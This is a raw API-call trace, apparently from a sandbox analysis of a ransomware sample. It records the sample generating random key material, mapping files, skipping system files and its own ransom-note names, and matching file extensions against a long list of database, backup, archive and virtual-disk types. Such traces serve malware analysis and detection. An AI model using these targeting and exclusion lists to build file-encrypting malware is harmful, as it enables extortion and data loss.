	[0066.737] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0066.738] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0066.738] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0066.738] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2160, lpName=0x0) returned 0xc0
	[0066.739] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2160) returned 0x100000
	[0066.740] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0066.741] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0066.741] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0066.741] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0066.741] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0066.741] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0066.741] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0066.741] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0066.741] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0066.741] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0066.742] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0066.742] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0066.742] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0066.742] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0066.742] CloseHandle (hObject=0xc0) returned 1
	[0066.742] CloseHandle (hObject=0x15c) returned 1
	[0066.742] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0066.742] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0066.742] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0066.742] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c538200, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x6035c410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c538200, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x62f96, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CATWIZ.POC", cAlternateFileName="")) returned 1
	[0066.742] lstrcmpiW (lpString1="CATWIZ.POC", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.742] lstrcmpiW (lpString1="CATWIZ.POC", lpString2="Apollon865.txt.exe") returned 1
	[0066.742] lstrcmpiW (lpString1="CATWIZ.POC", lpString2=".") returned 1
	[0066.742] lstrcmpiW (lpString1="CATWIZ.POC", lpString2="..") returned 1
	[0066.742] lstrcmpiW (lpString1="CATWIZ.POC", lpString2="windows") returned -1
	[0066.742] lstrcmpiW (lpString1="CATWIZ.POC", lpString2="bootmgr") returned 1
	[0066.742] lstrcmpiW (lpString1="CATWIZ.POC", lpString2="temp") returned -1
	[0066.742] lstrcmpiW (lpString1="CATWIZ.POC", lpString2="pagefile.sys") returned -1
	[0066.742] lstrcmpiW (lpString1="CATWIZ.POC", lpString2="boot") returned 1
	[0066.743] lstrcmpiW (lpString1="CATWIZ.POC", lpString2="ids.txt") returned -1
	[0066.743] lstrcmpiW (lpString1="CATWIZ.POC", lpString2="ntuser.dat") returned -1
	[0066.743] lstrcmpiW (lpString1="CATWIZ.POC", lpString2="perflogs") returned -1
	[0066.743] lstrcmpiW (lpString1="CATWIZ.POC", lpString2="MSBuild") returned -1
	[0066.743] lstrlenW (lpString="CATWIZ.POC") returned 10
	[0066.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATALOG.XML") returned 61
	[0066.743] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="CATWIZ.POC" | out: lpString1="CATWIZ.POC") returned="CATWIZ.POC"
	[0066.743] lstrlenW (lpString="CATWIZ.POC") returned 10
	[0066.743] lstrlenW (lpString="Apollon865") returned 10
	[0066.743] lstrlenW (lpString=".dll") returned 4
	[0066.743] lstrcmpiW (lpString1="CATWIZ.POC", lpString2=".dll") returned 1
	[0066.743] lstrlenW (lpString=".lnk") returned 4
	[0066.743] lstrcmpiW (lpString1="CATWIZ.POC", lpString2=".lnk") returned 1
	[0066.743] lstrlenW (lpString=".ini") returned 4
	[0066.743] lstrcmpiW (lpString1="CATWIZ.POC", lpString2=".ini") returned 1
	[0066.743] lstrlenW (lpString=".sys") returned 4
	[0066.743] lstrcmpiW (lpString1="CATWIZ.POC", lpString2=".sys") returned 1
	[0066.743] lstrlenW (lpString="CATWIZ.POC") returned 10
	[0066.743] lstrlenW (lpString="bak") returned 3
	[0066.743] lstrcmpiW (lpString1="POC", lpString2="bak") returned 1
	[0066.743] lstrlenW (lpString="ba_") returned 3
	[0066.743] lstrcmpiW (lpString1="POC", lpString2="ba_") returned 1
	[0066.743] lstrlenW (lpString="dbb") returned 3
	[0066.743] lstrcmpiW (lpString1="POC", lpString2="dbb") returned 1
	[0066.743] lstrlenW (lpString="vmdk") returned 4
	[0066.743] lstrcmpiW (lpString1=".POC", lpString2="vmdk") returned -1
	[0066.743] lstrlenW (lpString="rar") returned 3
	[0066.743] lstrcmpiW (lpString1="POC", lpString2="rar") returned -1
	[0066.743] lstrlenW (lpString="zip") returned 3
	[0066.743] lstrcmpiW (lpString1="POC", lpString2="zip") returned -1
	[0066.743] lstrlenW (lpString="tgz") returned 3
	[0066.744] lstrcmpiW (lpString1="POC", lpString2="tgz") returned -1
	[0066.744] lstrlenW (lpString="vbox") returned 4
	[0066.744] lstrcmpiW (lpString1=".POC", lpString2="vbox") returned -1
	[0066.744] lstrlenW (lpString="vdi") returned 3
	[0066.744] lstrcmpiW (lpString1="POC", lpString2="vdi") returned -1
	[0066.744] lstrlenW (lpString="vhd") returned 3
	[0066.744] lstrcmpiW (lpString1="POC", lpString2="vhd") returned -1
	[0066.744] lstrlenW (lpString="vhdx") returned 4
	[0066.744] lstrcmpiW (lpString1=".POC", lpString2="vhdx") returned -1
	[0066.744] lstrlenW (lpString="avhd") returned 4
	[0066.744] lstrcmpiW (lpString1=".POC", lpString2="avhd") returned -1
	[0066.744] lstrlenW (lpString="db") returned 2
	[0066.744] lstrcmpiW (lpString1="OC", lpString2="db") returned 1
	[0066.744] lstrlenW (lpString="db2") returned 3
	[0066.744] lstrcmpiW (lpString1="POC", lpString2="db2") returned 1
	[0066.744] lstrlenW (lpString="db3") returned 3
	[0066.744] lstrcmpiW (lpString1="POC", lpString2="db3") returned 1
	[0066.744] lstrlenW (lpString="dbf") returned 3
	[0066.744] lstrcmpiW (lpString1="POC", lpString2="dbf") returned 1
	[0066.744] lstrlenW (lpString="mdf") returned 3
	[0066.744] lstrcmpiW (lpString1="POC", lpString2="mdf") returned 1
	[0066.744] lstrlenW (lpString="mdb") returned 3
	[0066.744] lstrcmpiW (lpString1="POC", lpString2="mdb") returned 1
	[0066.744] lstrlenW (lpString="sql") returned 3
	[0066.744] lstrcmpiW (lpString1="POC", lpString2="sql") returned -1
	[0066.744] lstrlenW (lpString="sqlite") returned 6
	[0066.744] lstrcmpiW (lpString1="IZ.POC", lpString2="sqlite") returned -1
	[0066.744] lstrlenW (lpString="sqlite3") returned 7
	[0066.744] lstrcmpiW (lpString1="WIZ.POC", lpString2="sqlite3") returned 1
	[0066.744] lstrlenW (lpString="sqlitedb") returned 8
	[0066.744] lstrcmpiW (lpString1="TWIZ.POC", lpString2="sqlitedb") returned 1
	[0066.744] lstrlenW (lpString="xml") returned 3
	[0066.744] lstrcmpiW (lpString1="POC", lpString2="xml") returned -1
	[0066.745] lstrlenW (lpString="$er") returned 3
	[0066.745] lstrcmpiW (lpString1="POC", lpString2="$er") returned 1
	[0066.745] lstrlenW (lpString="4dd") returned 3
	[0066.745] lstrcmpiW (lpString1="POC", lpString2="4dd") returned 1
	[0066.745] lstrlenW (lpString="4dl") returned 3
	[0066.745] lstrcmpiW (lpString1="POC", lpString2="4dl") returned 1
	[0066.745] lstrlenW (lpString="^^^") returned 3
	[0066.745] lstrcmpiW (lpString1="POC", lpString2="^^^") returned 1
	[0066.745] lstrlenW (lpString="abs") returned 3
	[0066.745] lstrcmpiW (lpString1="POC", lpString2="abs") returned 1
	[0066.745] lstrlenW (lpString="abx") returned 3
	[0066.745] lstrcmpiW (lpString1="POC", lpString2="abx") returned 1
	[0066.745] lstrlenW (lpString="accdb") returned 5
	[0066.745] lstrcmpiW (lpString1="Z.POC", lpString2="accdb") returned 1
	[0066.745] lstrlenW (lpString="accdc") returned 5
	[0066.745] lstrcmpiW (lpString1="Z.POC", lpString2="accdc") returned 1
	[0066.745] lstrlenW (lpString="accde") returned 5
	[0066.745] lstrcmpiW (lpString1="Z.POC", lpString2="accde") returned 1
	[0066.745] lstrlenW (lpString="accdr") returned 5
	[0066.745] lstrcmpiW (lpString1="Z.POC", lpString2="accdr") returned 1
	[0066.745] lstrlenW (lpString="accdt") returned 5
	[0066.745] lstrcmpiW (lpString1="Z.POC", lpString2="accdt") returned 1
	[0066.745] lstrlenW (lpString="accdw") returned 5
	[0066.745] lstrcmpiW (lpString1="Z.POC", lpString2="accdw") returned 1
	[0066.745] lstrlenW (lpString="accft") returned 5
	[0066.745] lstrcmpiW (lpString1="Z.POC", lpString2="accft") returned 1
	[0066.745] lstrlenW (lpString="adb") returned 3
	[0066.745] lstrcmpiW (lpString1="POC", lpString2="adb") returned 1
	[0066.745] lstrlenW (lpString="adb") returned 3
	[0066.745] lstrcmpiW (lpString1="POC", lpString2="adb") returned 1
	[0066.745] lstrlenW (lpString="ade") returned 3
	[0066.745] lstrcmpiW (lpString1="POC", lpString2="ade") returned 1
	[0066.745] lstrlenW (lpString="adf") returned 3
	[0066.746] lstrcmpiW (lpString1="POC", lpString2="adf") returned 1
	[0066.746] lstrlenW (lpString="adn") returned 3
	[0066.746] lstrcmpiW (lpString1="POC", lpString2="adn") returned 1
	[0066.746] lstrlenW (lpString="adp") returned 3
	[0066.746] lstrcmpiW (lpString1="POC", lpString2="adp") returned 1
	[0066.746] lstrlenW (lpString="alf") returned 3
	[0066.746] lstrcmpiW (lpString1="POC", lpString2="alf") returned 1
	[0066.746] lstrlenW (lpString="ask") returned 3
	[0066.746] lstrcmpiW (lpString1="POC", lpString2="ask") returned 1
	[0066.746] lstrlenW (lpString="btr") returned 3
	[0066.746] lstrcmpiW (lpString1="POC", lpString2="btr") returned 1
	[0066.746] lstrlenW (lpString="cat") returned 3
	[0066.746] lstrcmpiW (lpString1="POC", lpString2="cat") returned 1
	[0066.746] lstrlenW (lpString="cdb") returned 3
	[0066.746] lstrcmpiW (lpString1="POC", lpString2="cdb") returned 1
	[0066.746] lstrlenW (lpString="ckp") returned 3
	[0066.746] lstrcmpiW (lpString1="POC", lpString2="ckp") returned 1
	[0066.746] lstrlenW (lpString="cma") returned 3
	[0066.746] lstrcmpiW (lpString1="POC", lpString2="cma") returned 1
	[0066.746] lstrlenW (lpString="cpd") returned 3
	[0066.746] lstrcmpiW (lpString1="POC", lpString2="cpd") returned 1
	[0066.746] lstrlenW (lpString="dacpac") returned 6
	[0066.746] lstrcmpiW (lpString1="IZ.POC", lpString2="dacpac") returned 1
	[0066.746] lstrlenW (lpString="dad") returned 3
	[0066.746] lstrcmpiW (lpString1="POC", lpString2="dad") returned 1
	[0066.746] lstrlenW (lpString="dadiagrams") returned 10
	[0066.746] lstrlenW (lpString="daschema") returned 8
	[0066.746] lstrcmpiW (lpString1="TWIZ.POC", lpString2="daschema") returned 1
	[0066.746] lstrlenW (lpString="db-journal") returned 10
	[0066.746] lstrlenW (lpString="db-shm") returned 6
	[0066.746] lstrcmpiW (lpString1="IZ.POC", lpString2="db-shm") returned 1
	[0066.746] lstrlenW (lpString="db-wal") returned 6
	[0066.746] lstrcmpiW (lpString1="IZ.POC", lpString2="db-wal") returned 1
	[0066.746] lstrlenW (lpString="dbc") returned 3
	[0066.747] lstrcmpiW (lpString1="POC", lpString2="dbc") returned 1
	[0066.747] lstrlenW (lpString="dbs") returned 3
	[0066.747] lstrcmpiW (lpString1="POC", lpString2="dbs") returned 1
	[0066.747] lstrlenW (lpString="dbt") returned 3
	[0066.747] lstrcmpiW (lpString1="POC", lpString2="dbt") returned 1
	[0066.747] lstrlenW (lpString="dbv") returned 3
	[0066.747] lstrcmpiW (lpString1="POC", lpString2="dbv") returned 1
	[0066.747] lstrlenW (lpString="dbx") returned 3
	[0066.747] lstrcmpiW (lpString1="POC", lpString2="dbx") returned 1
	[0066.747] lstrlenW (lpString="dcb") returned 3
	[0066.747] lstrcmpiW (lpString1="POC", lpString2="dcb") returned 1
	[0066.747] lstrlenW (lpString="dct") returned 3
	[0066.747] lstrcmpiW (lpString1="POC", lpString2="dct") returned 1
	[0066.747] lstrlenW (lpString="dcx") returned 3
	[0066.747] lstrcmpiW (lpString1="POC", lpString2="dcx") returned 1
	[0066.747] lstrlenW (lpString="ddl") returned 3
	[0066.747] lstrcmpiW (lpString1="POC", lpString2="ddl") returned 1
	[0066.747] lstrlenW (lpString="dlis") returned 4
	[0066.747] lstrcmpiW (lpString1=".POC", lpString2="dlis") returned -1
	[0066.747] lstrlenW (lpString="dp1") returned 3
	[0066.747] lstrcmpiW (lpString1="POC", lpString2="dp1") returned 1
	[0066.747] lstrlenW (lpString="dqy") returned 3
	[0066.747] lstrcmpiW (lpString1="POC", lpString2="dqy") returned 1
	[0066.747] lstrlenW (lpString="dsk") returned 3
	[0066.747] lstrcmpiW (lpString1="POC", lpString2="dsk") returned 1
	[0066.747] lstrlenW (lpString="dsn") returned 3
	[0066.747] lstrcmpiW (lpString1="POC", lpString2="dsn") returned 1
	[0066.747] lstrlenW (lpString="dtsx") returned 4
	[0066.747] lstrcmpiW (lpString1=".POC", lpString2="dtsx") returned -1
	[0066.747] lstrlenW (lpString="dxl") returned 3
	[0066.747] lstrcmpiW (lpString1="POC", lpString2="dxl") returned 1
	[0066.747] lstrlenW (lpString="eco") returned 3
	[0066.747] lstrcmpiW (lpString1="POC", lpString2="eco") returned 1
	[0066.748] lstrlenW (lpString="ecx") returned 3
	[0066.748] lstrcmpiW (lpString1="POC", lpString2="ecx") returned 1
	[0066.748] lstrlenW (lpString="edb") returned 3
	[0066.748] lstrcmpiW (lpString1="POC", lpString2="edb") returned 1
	[0066.748] lstrlenW (lpString="epim") returned 4
	[0066.748] lstrcmpiW (lpString1=".POC", lpString2="epim") returned -1
	[0066.748] lstrlenW (lpString="fcd") returned 3
	[0066.748] lstrcmpiW (lpString1="POC", lpString2="fcd") returned 1
	[0066.748] lstrlenW (lpString="fdb") returned 3
	[0066.748] lstrcmpiW (lpString1="POC", lpString2="fdb") returned 1
	[0066.748] lstrlenW (lpString="fic") returned 3
	[0066.748] lstrcmpiW (lpString1="POC", lpString2="fic") returned 1
	[0066.748] lstrlenW (lpString="flexolibrary") returned 12
	[0066.748] lstrlenW (lpString="fm5") returned 3
	[0066.748] lstrcmpiW (lpString1="POC", lpString2="fm5") returned 1
	[0066.748] lstrlenW (lpString="fmp") returned 3
	[0066.748] lstrcmpiW (lpString1="POC", lpString2="fmp") returned 1
	[0066.748] lstrlenW (lpString="fmp12") returned 5
	[0066.748] lstrcmpiW (lpString1="Z.POC", lpString2="fmp12") returned 1
	[0066.748] lstrlenW (lpString="fmpsl") returned 5
	[0066.748] lstrcmpiW (lpString1="Z.POC", lpString2="fmpsl") returned 1
	[0066.748] lstrlenW (lpString="fol") returned 3
	[0066.748] lstrcmpiW (lpString1="POC", lpString2="fol") returned 1
	[0066.748] lstrlenW (lpString="fp3") returned 3
	[0066.748] lstrcmpiW (lpString1="POC", lpString2="fp3") returned 1
	[0066.748] lstrlenW (lpString="fp4") returned 3
	[0066.748] lstrcmpiW (lpString1="POC", lpString2="fp4") returned 1
	[0066.748] lstrlenW (lpString="fp5") returned 3
	[0066.748] lstrcmpiW (lpString1="POC", lpString2="fp5") returned 1
	[0066.748] lstrlenW (lpString="fp7") returned 3
	[0066.748] lstrcmpiW (lpString1="POC", lpString2="fp7") returned 1
	[0066.748] lstrlenW (lpString="fpt") returned 3
	[0066.748] lstrcmpiW (lpString1="POC", lpString2="fpt") returned 1
	[0066.749] lstrlenW (lpString="frm") returned 3
	[0066.749] lstrcmpiW (lpString1="POC", lpString2="frm") returned 1
	[0066.749] lstrlenW (lpString="gdb") returned 3
	[0066.749] lstrcmpiW (lpString1="POC", lpString2="gdb") returned 1
	[0066.749] lstrlenW (lpString="gdb") returned 3
	[0066.749] lstrcmpiW (lpString1="POC", lpString2="gdb") returned 1
	[0066.749] lstrlenW (lpString="grdb") returned 4
	[0066.749] lstrcmpiW (lpString1=".POC", lpString2="grdb") returned -1
	[0066.749] lstrlenW (lpString="gwi") returned 3
	[0066.749] lstrcmpiW (lpString1="POC", lpString2="gwi") returned 1
	[0066.749] lstrlenW (lpString="hdb") returned 3
	[0066.749] lstrcmpiW (lpString1="POC", lpString2="hdb") returned 1
	[0066.749] lstrlenW (lpString="his") returned 3
	[0066.749] lstrcmpiW (lpString1="POC", lpString2="his") returned 1
	[0066.749] lstrlenW (lpString="ib") returned 2
	[0066.749] lstrcmpiW (lpString1="OC", lpString2="ib") returned 1
	[0066.749] lstrlenW (lpString="idb") returned 3
	[0066.749] lstrcmpiW (lpString1="POC", lpString2="idb") returned 1
	[0066.749] lstrlenW (lpString="ihx") returned 3
	[0066.749] lstrcmpiW (lpString1="POC", lpString2="ihx") returned 1
	[0066.749] lstrlenW (lpString="itdb") returned 4
	[0066.749] lstrcmpiW (lpString1=".POC", lpString2="itdb") returned -1
	[0066.749] lstrlenW (lpString="itw") returned 3
	[0066.749] lstrcmpiW (lpString1="POC", lpString2="itw") returned 1
	[0066.749] lstrlenW (lpString="jet") returned 3
	[0066.749] lstrcmpiW (lpString1="POC", lpString2="jet") returned 1
	[0066.749] lstrlenW (lpString="jtx") returned 3
	[0066.749] lstrcmpiW (lpString1="POC", lpString2="jtx") returned 1
	[0066.749] lstrlenW (lpString="kdb") returned 3
	[0066.749] lstrcmpiW (lpString1="POC", lpString2="kdb") returned 1
	[0066.749] lstrlenW (lpString="kexi") returned 4
	[0066.749] lstrcmpiW (lpString1=".POC", lpString2="kexi") returned -1
	[0066.749] lstrlenW (lpString="kexic") returned 5
	[0066.749] lstrcmpiW (lpString1="Z.POC", lpString2="kexic") returned 1
	[0066.750] lstrlenW (lpString="kexis") returned 5
	[0066.750] lstrcmpiW (lpString1="Z.POC", lpString2="kexis") returned 1
	[0066.750] lstrlenW (lpString="lgc") returned 3
	[0066.750] lstrcmpiW (lpString1="POC", lpString2="lgc") returned 1
	[0066.750] lstrlenW (lpString="lwx") returned 3
	[0066.750] lstrcmpiW (lpString1="POC", lpString2="lwx") returned 1
	[0066.750] lstrlenW (lpString="maf") returned 3
	[0066.750] lstrcmpiW (lpString1="POC", lpString2="maf") returned 1
	[0066.750] lstrlenW (lpString="maq") returned 3
	[0066.750] lstrcmpiW (lpString1="POC", lpString2="maq") returned 1
	[0066.750] lstrlenW (lpString="mar") returned 3
	[0066.750] lstrcmpiW (lpString1="POC", lpString2="mar") returned 1
	[0066.750] lstrlenW (lpString="marshal") returned 7
	[0066.750] lstrcmpiW (lpString1="WIZ.POC", lpString2="marshal") returned 1
	[0066.750] lstrlenW (lpString="mas") returned 3
	[0066.750] lstrcmpiW (lpString1="POC", lpString2="mas") returned 1
	[0066.750] lstrlenW (lpString="mav") returned 3
	[0066.750] lstrcmpiW (lpString1="POC", lpString2="mav") returned 1
	[0066.750] lstrlenW (lpString="maw") returned 3
	[0066.750] lstrcmpiW (lpString1="POC", lpString2="maw") returned 1
	[0066.750] lstrlenW (lpString="mdbhtml") returned 7
	[0066.750] lstrcmpiW (lpString1="WIZ.POC", lpString2="mdbhtml") returned 1
	[0066.750] lstrlenW (lpString="mdn") returned 3
	[0066.750] lstrcmpiW (lpString1="POC", lpString2="mdn") returned 1
	[0066.750] lstrlenW (lpString="mdt") returned 3
	[0066.750] lstrcmpiW (lpString1="POC", lpString2="mdt") returned 1
	[0066.750] lstrlenW (lpString="mfd") returned 3
	[0066.750] lstrcmpiW (lpString1="POC", lpString2="mfd") returned 1
	[0066.750] lstrlenW (lpString="mpd") returned 3
	[0066.750] lstrcmpiW (lpString1="POC", lpString2="mpd") returned 1
	[0066.750] lstrlenW (lpString="mrg") returned 3
	[0066.750] lstrcmpiW (lpString1="POC", lpString2="mrg") returned 1
	[0066.750] lstrlenW (lpString="mud") returned 3
	[0066.751] lstrcmpiW (lpString1="POC", lpString2="mud") returned 1
	[0066.751] lstrlenW (lpString="mwb") returned 3
	[0066.751] lstrcmpiW (lpString1="POC", lpString2="mwb") returned 1
	[0066.751] lstrlenW (lpString="myd") returned 3
	[0066.751] lstrcmpiW (lpString1="POC", lpString2="myd") returned 1
	[0066.751] lstrlenW (lpString="ndf") returned 3
	[0066.751] lstrcmpiW (lpString1="POC", lpString2="ndf") returned 1
	[0066.751] lstrlenW (lpString="nnt") returned 3
	[0066.751] lstrcmpiW (lpString1="POC", lpString2="nnt") returned 1
	[0066.751] lstrlenW (lpString="nrmlib") returned 6
	[0066.751] lstrcmpiW (lpString1="IZ.POC", lpString2="nrmlib") returned -1
	[0066.751] lstrlenW (lpString="ns2") returned 3
	[0066.751] lstrcmpiW (lpString1="POC", lpString2="ns2") returned 1
	[0066.751] lstrlenW (lpString="ns3") returned 3
	[0066.751] lstrcmpiW (lpString1="POC", lpString2="ns3") returned 1
	[0066.751] lstrlenW (lpString="ns4") returned 3
	[0066.751] lstrcmpiW (lpString1="POC", lpString2="ns4") returned 1
	[0066.751] lstrlenW (lpString="nsf") returned 3
	[0066.751] lstrcmpiW (lpString1="POC", lpString2="nsf") returned 1
	[0066.751] lstrlenW (lpString="nv") returned 2
	[0066.751] lstrcmpiW (lpString1="OC", lpString2="nv") returned 1
	[0066.751] lstrlenW (lpString="nv2") returned 3
	[0066.751] lstrcmpiW (lpString1="POC", lpString2="nv2") returned 1
	[0066.751] lstrlenW (lpString="nwdb") returned 4
	[0066.751] lstrcmpiW (lpString1=".POC", lpString2="nwdb") returned -1
	[0066.751] lstrlenW (lpString="nyf") returned 3
	[0066.751] lstrcmpiW (lpString1="POC", lpString2="nyf") returned 1
	[0066.751] lstrlenW (lpString="odb") returned 3
	[0066.751] lstrcmpiW (lpString1="POC", lpString2="odb") returned 1
	[0066.751] lstrlenW (lpString="odb") returned 3
	[0066.751] lstrcmpiW (lpString1="POC", lpString2="odb") returned 1
	[0066.751] lstrlenW (lpString="oqy") returned 3
	[0066.751] lstrcmpiW (lpString1="POC", lpString2="oqy") returned 1
	[0066.751] lstrlenW (lpString="ora") returned 3
	[0066.752] lstrcmpiW (lpString1="POC", lpString2="ora") returned 1
	[0066.752] lstrlenW (lpString="orx") returned 3
	[0066.752] lstrcmpiW (lpString1="POC", lpString2="orx") returned 1
	[0066.752] lstrlenW (lpString="owc") returned 3
	[0066.752] lstrcmpiW (lpString1="POC", lpString2="owc") returned 1
	[0066.752] lstrlenW (lpString="p96") returned 3
	[0066.752] lstrcmpiW (lpString1="POC", lpString2="p96") returned 1
	[0066.752] lstrlenW (lpString="p97") returned 3
	[0066.752] lstrcmpiW (lpString1="POC", lpString2="p97") returned 1
	[0066.752] lstrlenW (lpString="pan") returned 3
	[0066.752] lstrcmpiW (lpString1="POC", lpString2="pan") returned 1
	[0066.752] lstrlenW (lpString="pdb") returned 3
	[0066.752] lstrcmpiW (lpString1="POC", lpString2="pdb") returned 1
	[0066.752] lstrlenW (lpString="pdm") returned 3
	[0066.752] lstrcmpiW (lpString1="POC", lpString2="pdm") returned 1
	[0066.752] lstrlenW (lpString="pnz") returned 3
	[0066.752] lstrcmpiW (lpString1="POC", lpString2="pnz") returned 1
	[0066.752] lstrlenW (lpString="qry") returned 3
	[0066.752] lstrcmpiW (lpString1="POC", lpString2="qry") returned -1
	[0066.752] lstrlenW (lpString="qvd") returned 3
	[0066.752] lstrcmpiW (lpString1="POC", lpString2="qvd") returned -1
	[0066.752] lstrlenW (lpString="rbf") returned 3
	[0066.752] lstrcmpiW (lpString1="POC", lpString2="rbf") returned -1
	[0066.752] lstrlenW (lpString="rctd") returned 4
	[0066.752] lstrcmpiW (lpString1=".POC", lpString2="rctd") returned -1
	[0066.752] lstrlenW (lpString="rod") returned 3
	[0066.752] lstrcmpiW (lpString1="POC", lpString2="rod") returned -1
	[0066.752] lstrlenW (lpString="rodx") returned 4
	[0066.752] lstrcmpiW (lpString1=".POC", lpString2="rodx") returned -1
	[0066.752] lstrlenW (lpString="rpd") returned 3
	[0066.752] lstrcmpiW (lpString1="POC", lpString2="rpd") returned -1
	[0066.752] lstrlenW (lpString="rsd") returned 3
	[0066.752] lstrcmpiW (lpString1="POC", lpString2="rsd") returned -1
	[0066.752] lstrlenW (lpString="sas7bdat") returned 8
	[0066.752] lstrcmpiW (lpString1="TWIZ.POC", lpString2="sas7bdat") returned 1
	[0066.753] lstrlenW (lpString="sbf") returned 3
	[0066.753] lstrcmpiW (lpString1="POC", lpString2="sbf") returned -1
	[0066.753] lstrlenW (lpString="scx") returned 3
	[0066.753] lstrcmpiW (lpString1="POC", lpString2="scx") returned -1
	[0066.753] lstrlenW (lpString="sdb") returned 3
	[0066.753] lstrcmpiW (lpString1="POC", lpString2="sdb") returned -1
	[0066.753] lstrlenW (lpString="sdc") returned 3
	[0066.753] lstrcmpiW (lpString1="POC", lpString2="sdc") returned -1
	[0066.753] lstrlenW (lpString="sdf") returned 3
	[0066.753] lstrcmpiW (lpString1="POC", lpString2="sdf") returned -1
	[0066.753] lstrlenW (lpString="sis") returned 3
	[0066.753] lstrcmpiW (lpString1="POC", lpString2="sis") returned -1
	[0066.753] lstrlenW (lpString="spq") returned 3
	[0066.753] lstrcmpiW (lpString1="POC", lpString2="spq") returned -1
	[0066.753] lstrlenW (lpString="te") returned 2
	[0066.753] lstrcmpiW (lpString1="OC", lpString2="te") returned -1
	[0066.753] lstrlenW (lpString="teacher") returned 7
	[0066.753] lstrcmpiW (lpString1="WIZ.POC", lpString2="teacher") returned 1
	[0066.753] lstrlenW (lpString="tmd") returned 3
	[0066.753] lstrcmpiW (lpString1="POC", lpString2="tmd") returned -1
	[0066.753] lstrlenW (lpString="tps") returned 3
	[0066.753] lstrcmpiW (lpString1="POC", lpString2="tps") returned -1
	[0066.753] lstrlenW (lpString="trc") returned 3
	[0066.753] lstrcmpiW (lpString1="POC", lpString2="trc") returned -1
	[0066.753] lstrlenW (lpString="trc") returned 3
	[0066.753] lstrcmpiW (lpString1="POC", lpString2="trc") returned -1
	[0066.753] lstrlenW (lpString="trm") returned 3
	[0066.753] lstrcmpiW (lpString1="POC", lpString2="trm") returned -1
	[0066.754] lstrlenW (lpString="udb") returned 3
	[0066.754] lstrcmpiW (lpString1="POC", lpString2="udb") returned -1
	[0066.754] lstrlenW (lpString="udl") returned 3
	[0066.754] lstrcmpiW (lpString1="POC", lpString2="udl") returned -1
	[0066.754] lstrlenW (lpString="usr") returned 3
	[0066.754] lstrcmpiW (lpString1="POC", lpString2="usr") returned -1
	[0066.754] lstrlenW (lpString="v12") returned 3
	[0066.754] lstrcmpiW (lpString1="POC", lpString2="v12") returned -1
	[0066.754] lstrlenW (lpString="vis") returned 3
	[0066.754] lstrcmpiW (lpString1="POC", lpString2="vis") returned -1
	[0066.754] lstrlenW (lpString="vpd") returned 3
	[0066.754] lstrcmpiW (lpString1="POC", lpString2="vpd") returned -1
	[0066.754] lstrlenW (lpString="vvv") returned 3
	[0066.754] lstrcmpiW (lpString1="POC", lpString2="vvv") returned -1
	[0066.754] lstrlenW (lpString="wdb") returned 3
	[0066.754] lstrcmpiW (lpString1="POC", lpString2="wdb") returned -1
	[0066.754] lstrlenW (lpString="wmdb") returned 4
	[0066.754] lstrcmpiW (lpString1=".POC", lpString2="wmdb") returned -1
	[0066.754] lstrlenW (lpString="wrk") returned 3
	[0066.754] lstrcmpiW (lpString1="POC", lpString2="wrk") returned -1
	[0066.754] lstrlenW (lpString="xdb") returned 3
	[0066.754] lstrcmpiW (lpString1="POC", lpString2="xdb") returned -1
	[0066.754] lstrlenW (lpString="xld") returned 3
	[0066.754] lstrcmpiW (lpString1="POC", lpString2="xld") returned -1
